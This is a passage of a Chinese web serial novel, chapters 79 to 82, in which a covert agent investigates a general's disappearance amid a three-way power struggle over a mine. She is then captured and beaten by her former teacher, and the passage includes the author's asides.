在她沉吟思考期间,我也空出时间来将整个军事区的地图记载脑海中。 军事区占地面积很大,整体狭长,一部分地区夹在克亚区和上行城中间,大部分地区靠近参差不齐的山峰,西方则是广袤无垠的大海。 代表叛乱党的旗子从右下角的山峰地区开始向内蔓延,占据了军事区西边二分之一的位置。这个位置接近军事区的中心,地形较为平坦,适合大型热武器作战。 代表矿洞的绿色旗子在二分之一处落下,占据了足足四个旗子的位置,可见位置极大,里面的矿产资源丰富程度可见一斑。 这才打仗多少天,叛乱党就占据那么大一片区域了吗? 为什么上行城没有丝毫的消息?普通群众就算了,卡特勒这个级别的人竟然也鲜少提起,不合理吧。 还是说因为矿洞的问题,白灯湾主动出手掩盖? 一个堪称荒谬的想法忽然从我的脑海中诞生。 白灯湾和叛乱党,真的是敌对关系吗? 最开始,白灯湾不就是想要和叛乱党平等瓜分矿洞物资吗? 我的呼吸以极小的幅度急促起来,组织安排卡瑟娜失踪的意义我似乎明白了。 矿洞本身就是组织弄出来的,罗拉蒂尼是否一开始就猜到了白灯湾牺牲利益与叛乱党和平共处的想法? 现在两方打得不可开交陷入僵局,昂撒一定会为了加快进度做点什么。而罗拉蒂尼正是察觉到这一点,才会加快计划节奏。 很好,不愧是能爬上教皇位置的人,在阴暗小角落阴谋诡计一套又一套,恐怕身为她心腹的番苏都不知道她要干什么吧。 大致猜透了罗拉蒂尼的计划,我对接下来要做的事情有了大概的思路。 我得把舆论闹大,把原本高高在上的白灯湾拉下来,扩大战争牺牲掉昂撒一部分的军力,如果可以最好策反古奇伽。金钱,技术,舆论,军事,罗拉蒂尼四手都要抓起来,一个都不放过。 “17日当天,昂撒没有出现在前线。”古奇伽的声音打断我的思绪。 我抬眸看去,只看见这位中士军官以一种略显疲态的模样坐回了椅子上,“17日当天中午十二点十三分,矿洞周围再次发生袭击事件。由于对方投放的弹药过量,造成我们十四人死亡,三十人重伤。” “将军发现这次叛乱党投递的炸药内有奇怪的物质,与上个月他们投放的炸弹弹片某种物质高度相似。为了查明情况,将军带着军医亲自前往矿洞探查。” “这次探查就花费了足足十个小时的时间。将军带着军医回到营地后,声称要单独思考一会。等军医隔了四个小时再去寻找将军,也就是18日凌晨时间,已经见不到将军踪影了。”—— 作者有话说:军事区里没有一个是蠢人,作者为此绞尽脑汁[化了] 第79章 古奇伽把17日那天发生的事情一五一十详细告诉了我。 “将军消失的时候,你在哪里?”我问道。 被问到这个问题,古奇伽的脸色明显难看了些,“我在西北部寻找叛乱党首领的踪迹。16日晚上九点,卡萨的手下说截取到了叛乱党首领出现在西北方向的消息,声称有可能从西北部内袭击军营,并且携带了秘密武器。检查三次确认情报无误后,我带着卡萨离开军营前往军事区西北部。” “将军失踪前后的细节,都是将军身边的军医告诉我的。我也怀疑过军医,但调查后发现人证物证都反应军医没有问题。” 我表面思索,内心确认军医也是组织的人,于是内心唾骂组织。 你们都能让自己人做军医将军了,怎么还要我一个小人物帮忙搞事啊? 真以为我的那些情人爱我爱到死去活来什么都愿意为了我干? 他们没有把我弄死就不错了! 深吸一口气,我继续询问古奇伽,“你到达西北部找到了昂撒吗?” “没有。”古奇伽脸色更难看了,“前去西北部的人是替身,我和卡萨到达地方的时候替身已经死了。再回到军营,最初那个传递情报的人也失踪不见踪影。” “军营里还有叛乱党的人。”我说道,“你有大致目标吗?” “……”古奇伽陷入沉默。 那就是没有了。 我找了张凳子坐下来,也跟着沉默。 虽然对罗拉蒂尼的任务有了概念,但信息太少,还是无法思考昂撒到底要做什么。 我怀疑那个间谍是组织的人,又怀疑是昂撒组织的人,在弄清楚白灯湾和叛乱党之间别扭的关系后,我甚至怀疑那个间谍是白灯湾的人。 白灯湾的态度太暧昧了,既要又要还要,但又不是非得要。 “古奇伽中士,我申请去看一下替身尸体。”我提议说。 古奇伽这一次没有拒绝,点点头,从抽屉里抽出相关文件给我签名批准,就把文件交给我了。 我拿上文件,朝她微微昂首就打开办公室的门,拽上卡萨就往解剖室走。 “松开我!”卡萨满脸不耐烦。 “接下来一天时间,你都跟着我。”我脚步匆忙往前走,还不忘叮嘱她。 卡萨更加不耐烦,“我当然知道,不用你提醒。” 见她这副模样,我撇嘴。 沉不住气的alpha就是如此。 不过我稍微理解了她。毕竟错误情报是从她手底下传出来的,古奇伽中士又没有借此惩罚她,难免心里不安。 军营内的解剖室比较小,再加上放着各种各样的尸体,所以显得很拥挤。 我给军医展示了证明,军医的眼神变了变,就放我和卡萨进去了。 “尸体是在哪里发现的?” 军医领着我和卡萨往前走,一边回答我的问题:“西北部的一处草丛内,身穿昂撒相同的衣服,性别为alpha男性。” “经过我们的解剖,发现此人的腺体被多次注射不明药物。” 我心头一跳,“有药物残留吗?” “找不到。”军医站在了尸体旁,“我们甚至用上了上行城送过来的专业仪器,也没有找到任何化学物质的药物残留。古奇伽中士猜测这些不明药物和将军失踪时发现的奇怪物质属于同源。” 我了然。 经过军医的同意后戴上手套去触碰尸体的腺体。 那里有很大一块的尸斑,且留下了密密麻麻的真空注射痕迹。 原来如此,这就是组织让我负责任务的原因。 放眼整个组织,谁和昂撒有过接触? 他就跟个变态一样,要么弄死我要么想让我变性。 跟着军医将尸体的解剖报告阅览一遍,计划在我内心逐渐成形。 半个小时后,我又带着卡萨离开解剖室,身心俱疲。 累,太累了。 怎么就那么多弯弯绕绕呢?罗拉蒂尼,事后要是你没有给我满意的奖金,我真的要去投奔昂撒了。 变性就变性吧,起码他有钱是真给我,也是真的给我随便吃。 “让古奇伽中士给我的人放行。”我对卡萨说道。 原本神情不耐烦的卡萨一愣,“什么你的人?” 我拍了拍她的肩膀,说:“现在就去。调查将军失踪的案件太复杂了,我需要自己的人手。现在你们军营里有卧底,我不放心用。” 提到卧底,卡萨的表情就别扭极了,咬着牙去请示古奇伽。 我回到自己的房间一边等待,一边梳理整个事件的脉络经过。 我之前有一点感到奇怪,罗拉蒂尼为什么会在15日前就把番苏从军事区召回上行城保护她。现在我明白了,那不是为了保护她,是为了向昂撒提交诚意。 早在贫民窟时期,两个组织就因为利益短暂合作过。那为了利益,两个组织必然会再次合作。毕竟就目前阶段而言,两个组织的敌人都是政府。 思考出这一层后,再把时间往前回拨,我就能清晰地梳理出整件事情的来龙去脉。 15日前,我为了让昂撒放过我,于是我让组织的人在军事区布局,让两个组织的人在军事区闹了一通,双双得到了想要的利益。而我也成功在15日当上了参议员。 但组织之间的利益来往不可能只有一条线,在双方组织合作轰炸军事区时,昂撒也在军事区的矿洞附近和白灯湾互相试探。战争消耗的人和金钱不可估量,如果掌握了矿洞,那就意味着金钱成本大大降低。可矿洞内的矿石一旦大量投放,不可避□□入军事区附近疏于管控的克亚区(重点是克亚区为组织‘重构’的地盘)。一旦流入克亚区,被克亚区的人爆出矿石的存在,那么白灯湾的控制一定会受到威胁。 经过反复试探,白灯湾和昂撒的利益相悖,于是谈崩,在上行城爆出双方继续交战的新闻。 根据前面已知的信息,矿洞本身就是罗拉蒂尼搞出来的东西,一方面是为了转移昂撒注意力,消耗军事区和昂撒的军力,另一方面是埋下舆论伏笔,以及提供策反古奇伽的导火索。 听起来似乎和我没有关系? 请耐心听,这其中和我的关系很大,小白老师慢慢教你们。 看一看上一段话的第一句,上面提了什么?没错,就是我本人为了昂撒放过我而干出的蠢事! 他爸的组织知道我和昂撒的关系到底亲密到何种程度了!番苏被罗拉蒂尼召回去哪里是为了她,是为了堵住我把组织拉过来的路,让昂撒放心算计我! 三个权利集团,大家对彼此的弯弯绕绕心知肚明,明算暗算接连不断,都知道对方想要的东西是什么,也都知道自己想要的是什么,于是互相设计。* 昂撒知道矿洞是罗拉蒂尼弄出来的,但他很想要矿洞,于是只能和白灯湾掰扯。白灯湾知道昂撒想要矿洞且罗拉蒂尼虎视眈眈,于是和昂撒掰扯的同时悄悄把替身弄死。 为什么我会知道弄死替身的是白灯湾?因为白灯湾就是靠矿石发家的啊!不然那么紧张矿洞做什么?搞出无人区来干什么?就为了吃白饭啊? 军营这个地方,能把手伸到有实权的卡萨身边且不被查出任何线索,那本身就说明背后的人不简单。以昂撒那阴险狡诈的性格,那么好用的卧底根本不会浪费在小事情上,而且也没必要多此一举弄死替身。那就只能说明凶手是白灯湾。 白灯湾知道军事区有组织内人员的消息惊动了罗拉蒂尼,罗拉蒂尼预感要出事于是提前布局把番苏召回去,事后替身果然被白灯湾弄死了。在白灯湾利用替身死亡查到卡瑟娜之前,罗拉蒂尼干脆隐藏卡瑟娜把锅甩给昂撒,还把我派到了军事区。昂撒为了矿洞,于是背上黑锅并接受“我”作为礼物,后续继续和白灯湾掰扯。 事已至此,一个完美三角成立了! 昂撒弄白灯湾,白灯湾弄罗拉蒂尼,罗拉蒂尼让我去弄昂撒,昂撒再去搞白灯湾! 完美!一群长在马蜂窝里的人,联合起来一起弄我是吧? 我要生气了!我真的要投奔……我他爸的又能投奔去哪里啊!小白我无路可走! 终于把信息都梳理完,我的脑壳要炸了。 恰好,卡萨也回来了,身后跟着几个人。 “中士说了,要是被她发现这些人手脚不干净,全部都按军规处置。”卡萨嘟嘟囔囔说。 我闻言扯开一个过度思考以至于有些疲惫的笑容,“嗯,替我谢谢古奇伽中士。” 在闹卧底的时期还把其他人放进来,古奇伽也顶着巨大的压力。 但她还是选择放行,说明她确实把卡瑟娜放在心里尊敬。 我沉吟。 这是不是说明古奇伽中士并非完全百分百地把忠诚交付给白灯湾,她有几率被我策反? 好吧,把这个加入待办事项,以后找到机会就干。 等卡萨一走,阿沐过来的时候,就看见坐在我床上玩绳子的白大褂。 他眼睛立刻瞪圆了,不敢置信指着我的鼻子,“我为了你那一句回上行城有用,就躲在房间里画了一天的设计图。你倒好,直接把人从上行城接过来了是吧?一个就算了,这个omega又是谁!” 我都还没张口呢,祁圆就翻着白眼撇嘴,“我在这公事公办,你少在这公报私仇?” “我草,我上过学还是你上过学?你和我绕口令呢!”阿沐更生气了! 我和阿丽坐在房间的另一边等卡萨送地图过来,听祁圆和阿沐吵架谁都没有反应。 至于另外那个同样身穿护士服长相甜美的omega则是饶有兴致地左右打量,然后对我隔空喊话,“姐姐,一屋子的人不会都是吧?” 我:……你凑什么热闹啊,可闭嘴吧你! 门打开了,卡萨拿着地图和晚饭一进门就看见两个正在扯头花的a和b,更是听见两人的脏话,于是立刻用很微妙和看人渣的表情看我。 “你的未婚夫不是陪审团团长的养子吗?白无垠不是你弟弟吗?这个法医不是你之前的朋友吗?” “他们口中的上床是怎么回事?” 卡萨说着说着,忽然恍然大悟像是抓住了我的把柄露出充满挑衅的微笑,“哦,那个帮你走军火关系名叫克斯蒂简的omega不会也是吧?” “白无用,你也不想被中士知道你的花花肠子吧?” 我:很好,来到军事区第二天,我成功身败名裂—— 作者有话说:昨天梳理了大纲,终于把弯弯绕绕都梳理出来了! 目前三个权利集团都有心知肚明的信息 白灯湾知道昂撒和罗拉蒂尼两个组织的存在,包括大本营在哪都知道。但昂撒军力强大弄不死,罗拉蒂尼隐藏太好而且阴暗手段很多于是也弄不死,所以只能这样耗着。 罗拉蒂尼和昂撒之前有过合作关系,且目前都想先弄死白灯湾,所以大致问题上是保持一致的。但双方经常给对方下绊子,比如今天杀一下你的人,明天打乱一下你的计划,后天背刺一下。 至于小白,明面上是白灯湾/上行城的人,实际上是罗拉蒂尼的人,背地里和昂撒确实关系暧昧。破案了,小白才是真正的权力巅峰(bushi) 第80章 我的房间乱成了一锅粥,既然如此不如趁热喝了吧。 开玩笑的。 都还没开始正式开始工作呢,内部人员就先自己打起来,算不算是另一种形式的先锋队? 在听到卡萨脱口而出的威胁后,我下意识反驳说:“难道不是应该告诉将军吗?再怎么说她也是我明面名义上的姐姐。” 话音落下,所有人的目光都看向我,尤其是刚才还在扯头发的两个人,看我的眼神似乎都带着点火光。 我顿时汗流浃背。 死嘴!这个时候逞什么能啊!这下好了,当场让情人们同一阵线,还让卡萨抓住了真正的把柄! 在长达三秒的安静后,我企图补救一下,“我开玩笑的。” “可你说的是真的。”阿丽口出狂言。 我立刻把阿丽的嘴巴捂着,眼皮都快给她眨抽筋了示意她不该说的话别说。 阿丽迷茫,但还是乖巧地把嘴闭上。而我确认她不会再多嘴,就松开她一脸正色地对卡萨转移话题,“地图拿过来了吗?” 卡萨:“……给你。” 于是我们几个女人就找了个板凳,围在小桌子面前开始看地图。 这是卡萨从自己办公室里拿过来的地图,上面已经有好几处她自己标记好的地方。军营所在的位置是整个军事区的中心偏右,上下分别为上行城和克亚区(地理位置参考为甘肃省武威市)。右下角是被昂撒占领的区域(甘南藏族自治州),军营和昂撒占领区域的中间一大块便是矿洞(临夏回族自治州)。这附近地势平坦,是双方的主要作战区域。 而卡萨和古奇伽中士找到的已死亡替身位置位于西北地区(庆阳市),地理位置靠近大海,再往外就是人迹罕至的群岛,所以军队驻守较为松懈。虽然距离军营位置很远,但如果利用好地形优势,能够来一场出其不意的偷袭。这也就是为什么卡莎和古奇伽在收到错误情报后会亲自动身前往的缘故。 我上次在古奇伽中士的办公室内匆匆看一眼,现在再重新看一遍,才确认了接下来该怎么行动。 想到心中那个计划,我为自己捏一把汗。明明还没开始,但我的心脏已经开始砰砰直跳。 白无用啊白无用,这要是计划失败,那就是真的死无葬身之地,小命和名声全毁,下了地狱都会被恶魔唾弃的程度。 但如果我做成了…… 想到那种那可能,我的呼吸轻微急促起来。 “你看出什么了没?”卡萨见我久久不语,于是不耐烦询问。 我抬起头,说:“差不多了,接下来我还有一点其他的准备。我打算亲自去西北部发现尸体的位置寻找线索,你要负责跟随我。” 西北部不是前线重点,卡萨还是有权利前往的,于是点点头,转而看向旁边的阿丽,“那她们的任务呢?” “她们留在军营内等待信号,后续会知道怎么做的。” 我说话只说一半,让卡萨的眉头死死皱紧,“你说你爸的什么破屁话,为什么不直接告诉我?” “我怕你又把情报透露给了卧底。”我说。 卡萨一下子就不说话了,再次咬牙切齿瞪着我,良久吐出一句:“你等着,等将军回来了我们就去训练场真正打一架。” 对于这一点,我沉吟片刻后把阿丽往她面前推了推,“阿丽,她说要和你打架。” 阿丽:“她有吗?” 卡萨:“我有吗?” “有的,我都听见了。”我义正言辞,“现在你俩人就去打一架!真的,不然以后没机会了!” 于是凭借着我的巧舌如簧,先把阿丽忽悠到怀疑她自己是否说过类似的话,又成功挑衅了卡萨,把两人打包送去了训练场。 目送两人离开,我给安安静静的几位男性分配任务,“祁圆,你拿了同意书去解剖室。阿沐,你和我去见一见古奇伽中士。至于你……” 我一下子卡壳,“你叫什么名字来着?” 身穿甜美护士服的omega嗔怪般地瞪我一眼,“叫我帕拉拉就好。姐姐不会只能记住情人的名字吧?” 我撇嘴,“别装了,在贫民窟帮我杀人的时候怎么不见你叫姐姐?你也跟着祁圆一起去解剖室上班,我需要你们两个人配合解剖室内的军医一起研究组织带过来的东西。还有一点,你们要时刻记住你们对外的身份是通过克斯蒂简的关系进入军事区的关系户,是简家族的人,不是我的人。” “现在军事区内有白灯湾和昂撒两方人马的卧底,你们稍微走错一步,到时候我们全部得一起死。” 说到正事,这三人表情终于严肃了。 我又交代了一些其他的事情,带上了阿沐去古奇伽中士的办公室。 到达她的办公室,我敲门进入,看见的依旧是古奇伽眉头紧锁的模样。 见了人,我开门见山,把阿沐推到古奇伽的面前说:“我要和卡萨前往西北部寻找线索,这段时间我极有可能遭遇不测,军事区内的卧底也很有可能对无垠下手。古奇伽中士,我希望您能好好保护他。” 古奇伽中士本就紧皱的眉头闻言后恨不得夹死苍蝇,“你有计划了?” “对。”我承认,“风险很高,但我笃定将军还活着。如果计划顺利,我会让叛乱党首领主动放人。” “你怎么保证?” 我微微一笑,“保证不了,所以我才把无垠交给您。” 什么都不知道的阿沐两眼一懵,下意识抓住我的手质问我,“你什么意思?” 我没搭理阿沐,继续和古奇伽说:“说起来,无垠还是您的直系学弟。” “克亚区的总部军事大学武器设计专业,优秀毕业生少之又少,至今为止您的照片还挂在荣誉榜单上供学子们瞻仰。我的弟弟无垠也是瞻仰您的学子之一。” 没有得到回答的阿沐脸色变了又变,最后咬着牙松开了我的手,低垂着脑袋往后退了一步。 古奇伽中士则是在我的引荐下看向了阿沐,带着隐约的打量和思索。 她在思考,思考着这位来自上行城的议员这样做的目的是什么。 从总部军事大学毕业的人何其多,但能爬上中士位置的人又何其少?不过是一个寂寂无名的直系学弟,没有必要单独拎出来介绍。所谓的“瞻仰”也不过是拉近关系的客套话,其真正的目的总是被摆放在最显眼的地方。 于是在片刻的安静后,古奇伽看向了站在桌前的参议员,说:“他带上设计图了吗?” 问题刚刚问出来,被叫做无垠的alpha男性就在参议员的催促下拿出了折叠好的半成品设计图。 足有半个人那么大的设计图被摊开到了桌面上,密密麻麻的参数和优美的线条铺开,展现在了古奇伽中士的面前。 她看不懂上面标注的特殊符号,但在战场上打拼了将近十年的她仅仅是观察设计师画下的线条就能知道这是一个惊人的作品。 古奇伽中士明白了,所谓的保护,并不是保护白无垠,而是白无垠手中的设计图。 “好,我会确保他的安全。”古奇伽中士承诺。 站在办公室中央的参议员闻言,那公式化的老实笑容终于转变为了真心实意的微笑。 参议员用充满感激的语气说:“十分感谢,古奇伽中士。” 她们离开了。 “白无y——”刚刚离开办公室,阿沐就迫不及待地拽住了白无垠的手,“你什么意思!” “我以为你知道。”白无垠理所当然,“来之前我不是说了吗,这一次的任务很凶险,我可能回不去了。” “组织派给你的任务哪一次不凶险?”阿沐反驳,“从前你管过我吗?” “我是不聪明,但我不是傻子,待在你身边那么久了,早就知道你是个走一步算三步的烂人,除非被逼到没路走了,你才会交代后事。你把我当什么?当遗孀?” 阿沐在骂,白无垠就站在他面前安静地听,就和从前无数次一样,耐心地等待他把情绪宣泄完。 可这一次阿沐不仅骂,还穷追不舍地追问到底要做什么。 白无垠看了眼时间,确认卡萨和阿丽打得差不多了,于是说:“我先走了。” “你他爸的,白无垠你要什么都不说我现在就和古奇伽中士说当初考上学校的人是你不是我!” 白无垠的脚步又收了回去。 阿沐红着眼眶,怒骂不要钱地不断往外吐,恨不得全部都砸在白无垠的身上,“人渣,烂人,白眼狼!你当我不知道,刚刚离开无人区那会你就和那个叫阿丽的人勾上了。那段时间吃饭的钱,找房子的钱,就连买公民身份的钱,全都是你打架打来的!那个时候你就替组织办事,你以为瞒我瞒得很好?” “你当我不知道你把我送去学校是因为怕被你一夜情对象的家长找上门报复?我□□爸的,我就是知道我才去!不然我为什么心安理得地假装自己叫白无垠?凭什么心安理得享受你考试第一名带来的虚荣?” 情绪越是激动,阿沐就越是控制不住自己语气中的哽咽。 他拽住白无垠的衣领,“我好几次都差点死在校长手上了,你以为我为什么坚持活到现在跟你来军事区?” “你就这样报答我?” 白无垠平静地接受阿沐所有的怒骂和诉苦,连挣扎的动作都没有。 待风波即将平息时,白无垠才开口:“我会去见昂撒。” “什么?” “这就是我来军事区的目的,拖延昂撒,如果能杀了他最好,虽然这个可能性很低。” 阿沐的喉咙被什么东西堵住了似的,“你尝试了两次,你都没成功。” “第三次说不定就成了呢?” “事不过三,他也会对你下死手。”阿沐梗着脖子反驳。 白无垠却忽然扯开一个凉得不可思议的笑,转移了一个莫名其妙的问题,“你知道贫民窟为什么会爆炸吗?” 突如其来的话题转移让阿沐的脑子转不过弯,下意识跟上了白无垠的思路,“不是白灯湾为了一次性剿灭叛乱党吗?” “假的。”白无垠轻声说道,“就算没有叛乱党,白灯湾也会把贫民窟炸了。因为她们要建立新型城市,转移阵地。” “依靠矿石巩固统治的她们储存在白灯湾下的矿石已经见底了,无人区是近二十年来她们开发出来的新地址。一个巨大的矿场,还有用来掩人耳目的贫民窟。二十年的时间,足够她们为未来的新家打好地基。” “就算没有叛乱党,她们也会炸掉贫民窟,那十几万人还是会死。” “……这和你要杀昂撒有什么关系?” “有一点,但不多。” “那你还——” “阿沐,我暂时不想对你下手。” 阿沐所有的话戛然而止,有些惊惧地松开了白无垠的衣领。 眼前女人的真实面貌就是这样,冷得让人胆战心惊,是个名副其实的白眼狼。不管是从小一起长大的青梅竹马,还是亲手教导她六年的老师,她都能在涉及自身利益的情况下毫不犹豫地下手。 阿沐尽可能地调整自己的呼吸,缓和了许久,才从喉咙里艰难挤出来问句:“这一次,你想对谁动手?” 女人短暂的思考后,吐出了一个名字。 阿沐知道这个名字的主人是谁。虽然没见过,但也帮白无垠处理了很重要的难题。 于是短暂的交谈结束了。 白无垠又重新挂上了熟悉的老实憨厚笑容,像是安抚弟弟那样拍打阿沐的肩膀,语气温柔,“没事的,无垠,你的性命对很多人都很重要。有古奇伽中士在,没人能伤害你。” “嗯。”阿沐声音沙哑答应下来。 白无垠离开了。 她的脚步回荡在走廊了,路过了好几个刚从训练场看热闹回来的士兵。 和阿丽再见时,白无垠看了看那边躺在地上生死不明的卡萨,倒吸一口凉气,“你到底是什么类型的怪物?” “我不是,我是人类。”阿丽认真纠错说道。 “看着不像。”白无垠调侃,然后又装作不经意地问:“那你看我像白眼狼吗?” 这个问题让阿丽陷入迷茫。 但她自认为作为朋友,就应该认真回答问题,于是盯着白无垠的脸足足十秒钟才得出结论说:“你是人,不是狼。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 现在依旧是8月19日。 每次有事情要忙的时候时间就会过得相当缓慢,好像在这样的忙碌下一天原本的24小时会变成58小时,每分每秒我都在劳碌奔波。 包括现在,我正和卡萨一起整装待发,五分钟之后就要进行秘密行动徒步前往西北部调查替身死亡的线索。 由于是秘密任务,所以两人将出发时间定在了午夜十二点。 我将一片胶囊吞进肚子里,回过头就看见卡萨怀疑的眼神。 “你吃什么呢?” “抗过敏药物。”我回答,“那个地方蚊虫多,我怕过敏当场死亡。” 然后我得到了卡萨鄙夷睥睨的眼神,“小白脸。” 正当我准备和她来一场紧张刺激的文斗时,军营内突然炸开刺耳尖锐的警报声! 我和卡萨对视一眼,躲在房间内听外面忙碌有序的脚步声。 “又开始偷袭了。”卡萨低声说道。 我趴在门板上的,对此回答:“那说明昂撒在前线,没空管西北部。古奇伽中士这一次会尽可能拖延时间,让他们没有时间和经历回去调查西北部。” 卡萨昂首,最后一遍检查随身携带的装备,然后小声说:“我们可以出发了。” 我们没有开车,也没有的背上显眼的背包,就和其他那些普通的士兵一样满脸写着对叛乱党的不耐和愤怒。 直到我们离开军营,跨过警戒线,确认绕开巡逻后,卡萨紧绷的身体才微微放松。 她摸一把额头因为紧张而留下的虚汗,回头刚想要嘲讽我,就发现我和她摆出一样的游刃有余的卧倒姿势。 “你不是小白脸!” “呵呵。”我回敬两个字。 卡萨的眼神变得复杂微妙起来。 我们就这样在黑暗中静悄悄地前进,连纸质地图都没有带上(为了防止无关人员捡到然后造成不必要的麻烦),全靠指南针和卡萨对军事区的熟悉来认路。 越是远离军营,周围的环境就越是漆黑,还伴随蚊虫野兽,就算是卡萨也得时刻保持警惕以防止出现意外。 我跟在卡萨的身后,用军刀劈开挡路的植被,竖起耳朵认真聆听远处的声音。 前线的作战越来越激烈了。这不仅有古奇伽中士的功劳,更有昂撒的功劳。我来到军事区差不多两天了,他一定收到了消息,正想办法弄我呢。 也不知道在黑暗里穿行了多久,直到天空微微泛起白色,卡萨才抬起头说:“现在大概是早上六点。” 这里距离军营已经很远了,完全听不见声响。 接连奔波一晚上,我身心俱疲。 卡萨见我实在走不动了,就把军用通讯器拿出来查看的前线进度。 “凌晨四点钟的时候,叛乱党就将所有的队伍撤离了。”卡萨看着信息说道。 “十二点偷袭,四点钟撤退,在我的预料之内。”我说道,“还有其他消息吗?有多少人员伤亡?有没有发现将军所说的……” 不等我问完,卡萨脸色骤变,“没有人员伤亡,而且交战时期叛乱党投递的大多是烟雾弹和闪光弹!” 这下不仅是她,我的脸色也变了,猛然站起来拉住卡萨就开始狂奔,“我们的行动暴露了!” 卡萨没反应过来被我抓了个踉跄,但以极高的素质反应过来反而开始拽着我跑,“怎么回事!我们的行动不是只有你的人和中士知道吗?难道你的人才是卧底?” “放你爹的狗屁!”我骂她,“你怎么不说克斯蒂简是卧底?我的人还是走他的关系才进来的!而且这么一说和古奇伽中士也脱不了关系,人可是她应许放进来的!” “这不是你让中士放的吗?” “我之前能想到我的人会被拦着?” 斗嘴我俩也没忘记往前跑。 但来不及了! 大脑皮层轰然炸开,身边的卡萨表情一肃,几乎是咬着牙的一瞬间,她一下子就把我踹倒,然后自己扑到了旁边的草丛旁! “砰!” 子弹擦着我的耳朵飞过去,精准的扎入旁边的树干内! 我呼吸停滞,“卡萨,立刻离开!” 卡萨当然知道两人被伏击了,当机立断掏出手枪顺着子弹轨迹的源头开了一枪,手脚迅速地拖住了我的小腿继续跑! 可惜我俩的腿是肉做的,再怎么能跑也抗不过子弹。 尤其是知道对方人多势众的时候,短短三秒钟的权衡利弊,卡萨就放弃了挣扎,举起双手表示投降。 打仗嘛,怎么可能没有俘虏。只要不是原则性的问题,当然是能活就活。 我倒在地上疼得龇牙咧嘴,刚刚爬起来额头就被发烫的枪口抵住了。 来人居高临下看着我,“抓住了,首领说要活口,带回去。” 很好,8月20日的早上六点左右,我被昂撒逮住了。 —— 我和卡萨隔离开来,被戴上黑色的眼罩推着往前走,不知道过了多久,眼罩取下,才知道被带入了单独的小黑屋。 破破烂烂的小铁床,桌子凳子都没有,甚至连窗户都没有,为数不多的光源则是来自床头光秃秃的电灯泡。 这里是西北部?还是昂撒大本营? 来的路上我尽可能地让自己迈开的每一步都保持同等的距离,但绑我的人似乎是昂撒的心腹,相当多疑谨慎,隔一段时间就会主动打断我数步子的节奏,然后利用言语等手段搅乱我。 小黑屋内除了床边,其余地方都乌漆嘛黑,分不清时间。 我保持一个姿势坐在床头,思考接下来该怎么办。 昂撒昨晚十二点毫无伤亡的偷袭目的是什么?他们又是怎么发现秘密行动的? 我相信组织内的人员经过层层筛选,一定没问题。那么问题就出自古奇伽中士身边。 我和古奇伽最后的聊天的主题关于阿沐,事后她一定会安排人员保护阿沐。 很好,问题出在保护阿沐的人员里。而能够被古奇伽分配出来有资格保护阿沐的只有那几个,再简单排查就能锁定目标。 白灯湾那边应该也得到了消息,相信过不久也也会做出相应行动。她们会怎么做?在外界看来,卡瑟娜失踪和叛乱党有关,现在又丢了一个年轻有为的卡萨,白灯湾如果还在为矿洞的事情紧要不放,她们该怎么操作? 正当我思考之际,门打开了。 一丝丝的光芒从门外洒进来,我眯着眼观察走进来人的影子走向以及外面的阳光强度。 “砰!”门又关上了。 “老师,那么着急关门,是怕我趁你不注意跑出去?”我扬起笑容对来人说道。 昂撒斯科特站在我的面前,过分高大的身躯遮挡住我所有看向铁门的视线。 昏暗的环境下我看不清他的脸,但作为他六年的学生,我能够清晰地感受到来自于他的情绪。 我撇嘴。 变态就是变态,看人的眼神都那么恶心。 跟在他身后的人将外面带来的椅子搬到他身后,然后就站在角落里假装不存在。 视线拉平,我彻底把昂撒的面容收入眼底。 他的灰黑色头发长了很多,鸦色的眼睛极具压迫感地直视我,沉寂到让人心生胆颤。 我维持在脸上的笑容不变,正准备继续开口说话,昂撒却突然伸出手狠狠地往我的腹部捶了一下! “嘶——”我痛得下意识想要蜷缩身子,却被他扯住了额前的头发抬起头和他重新对视。 粉尘充斥鼻腔,还有略带刺鼻熟悉的气味扑面而来。 我尽可能放缓呼吸减少肌肉拉动带来的痛苦,而这一幅表情显然取悦了昂撒。 他用另一只手轻轻拍打我的面颊,“罗拉蒂尼那女人给了你多少好处,值得你过来卖命?怎么不见你为我卖命?” 我扯开一抹笑,“老师,先到先得这个道理不懂吗?” 刚说完,我的腹部又挨了一下。 昂撒松开我,任由我蜷缩在小铁床上抽气,用手撑着下巴欣赏我痛苦的姿态。 他也跟着拉开笑容,笑得连眼角的细纹都出来了,胸口剧烈起伏,透过皮带固定的衬衫,我还看见里面交错纵横的伤疤。 差不多两个月没见,这人身上的伤疤更多了。 在我继续抽疼时,他从口袋里掏出了香烟,点燃,叼在嘴角慢条斯理抽一口,又缓慢地呼出厌恶。 “我可没教过你这个道理。”昂撒说道,“我只和你说过,想要的东西直接去抢。” “所以她用钱抢了啊。”我勉强抬起头说道,“她让我坐上参议员的位置,还帮我搞定了卡特勒,之后还能娶卡特勒十八岁的omega养子。这可是天大的好处。” 我说完,昂撒呼出气体的动作停顿了。 他缓缓地将上半身压向我,鸦色的眼睛与我拉近距离,直到两人鼻尖触碰鼻尖。 那浓重的气味让我的气血上涌,又想开始咳嗽。 他却用手固定住我的脑袋,说:“白无垠,我比你更了解你。你对谁都不会心存感激,也不会真和一个只会拖后腿的蠢货结婚。” “所以呢?”我讥讽,笑容灿烂,“和腺体被我破坏了两次的老师你又有什么关系?” 几乎是话音刚刚落下,我的脑袋就被昂撒重重地压在了床板上! 头晕目眩袭来,两只耳朵也发出尖锐的耳鸣,剧烈的疼痛让我的双眼发黑,几乎失去意识。 过了好几秒,我才从可怕的眩晕中缓过神,听着他从上往下的呢喃,“是了,你就是条白眼狼,谁都没法能耐你。” 笑死,我要是真有能耐,至于被你压着挨打? 昂撒显然是下了力气的,就这一下,我就四肢就没多少力气了,只能听见他拉动座椅的声响。 “我要白灯湾主动放弃矿洞的归属权。” 我趴在小铁床上,听着他的话,发出了低声轻笑,“老师,闹了那么久……总算,把目的说出来了。” 你也知道我成长得很快啊,你也知道我有可能弄死你啊,你也知道在利益面前我俩会一起放下隔阂选择合作啊。 昂撒,这不都是你教我的么?—— 作者有话说:接下来几章会频繁切换上帝视角哦,明天也会把小白和昂撒两人在无人区的事情说出来 第82章 白无垠知道那个新来的上等人是alpha后,就把自己看得最顺眼的男孩子打了一顿拽着去找对方。 她是个小孩子,还是个beta,在这个到处都乱七八糟的无人区,想要活下去就必须找一个靠山。但她偶尔从监工的口中知道上等人看不起beta,其中alpha们最眼高于顶看不起所有人。 没关系,白无垠有的是办法。诈骗,威胁,利诱……她和那些青天白日就在矿洞内搞来搞去的a和o们相处久了,脑海里连“羞耻心”“道德”的概念都没有。 